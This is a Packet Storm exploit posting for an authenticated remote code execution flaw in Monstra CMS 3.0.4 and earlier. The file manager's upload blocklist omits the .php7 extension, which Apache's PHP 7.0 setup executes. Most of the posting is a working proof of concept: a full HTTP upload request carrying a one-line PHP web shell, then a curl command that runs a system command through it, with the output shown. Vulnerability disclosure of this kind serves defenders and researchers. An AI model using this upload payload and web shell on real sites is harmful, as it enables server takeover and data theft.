what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Monstra CMS 3.0.4 Code Execution

Monstra CMS 3.0.4 Code Execution
Posted Feb 21, 2018
Authored by Hashim Jawad

Monstra CMS versions 3.0.4 and below could suffer from a PHP7 remote code execution vulnerability if certain server conditions are met.

tags | exploit, remote, code execution
SHA-256 | 853acb2973915dbb0c78a76c516ac2881f35285e1e767a8b6982148964266a90

Monstra CMS 3.0.4 Code Execution

Change Mirror Download
# Exploit title  :  Monstra CMS =< v3.0.4 - Authenticated Remote Code Execution
# Date : 21.02.2018
# Exploit Author : Hashim Jawad
# Website : ihack4falafel[.]com
# Twitter : @ihack4falafel
# Vendor Homepage: http://monstra.org/
# Software Links : http://monstra.org/download
# Tested on : Ubuntu 16.04.3 LTS


**Vulnerability Requirements**
==============================
- User with edit or admin permissions.
- Apache2 webserver with PHP v7.0 (libapache2-mod-php7.0).


**Vulnerability Description**
=============================
Monstra CMS version 3.0.4 and eariler allow the upload of files with .php7 extension, which could lead to remote code execution. By default, PHP v7.0 configuration allows .php7 files execution, meaning
Monstra instances running on top of PHP v7.0 are vulnerable to this exploit, see below conf file:

root@server:~# cat /etc/apache2/mods-enabled/php7.0.conf
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
root@server:~#

**Vulnerable Code**
===================
See below Monstra vulnerable code from https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php

public static function main()
{
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5', 'phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

**proof-of-concept**
====================
- Login as user with admin privileges.
- Upload cmd.php7

POST /webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: 192.168.80.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/
Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------142811919017951589212084055562
Content-Length: 547

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="csrf"

a026e14835638b29eb372ad869ae0738250f2240
-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="file"; filename="cmd.php7"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="upload_file"

Upload
-----------------------------142811919017951589212084055562--

- Browse to cmd.php7 and execute code

root@kali:~# curl -i -s -k -X $'GET' -H $'Host: 192.168.80.135' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/' -H $'Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -b $'PHPSESSID=50s1tl42a993rkkbheasllcii6' $'http://192.168.80.135/webservices/monstra-3.0.4/public/uploads/cmd.php7?cmd=id'
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2018 20:40:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kali:~#









Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close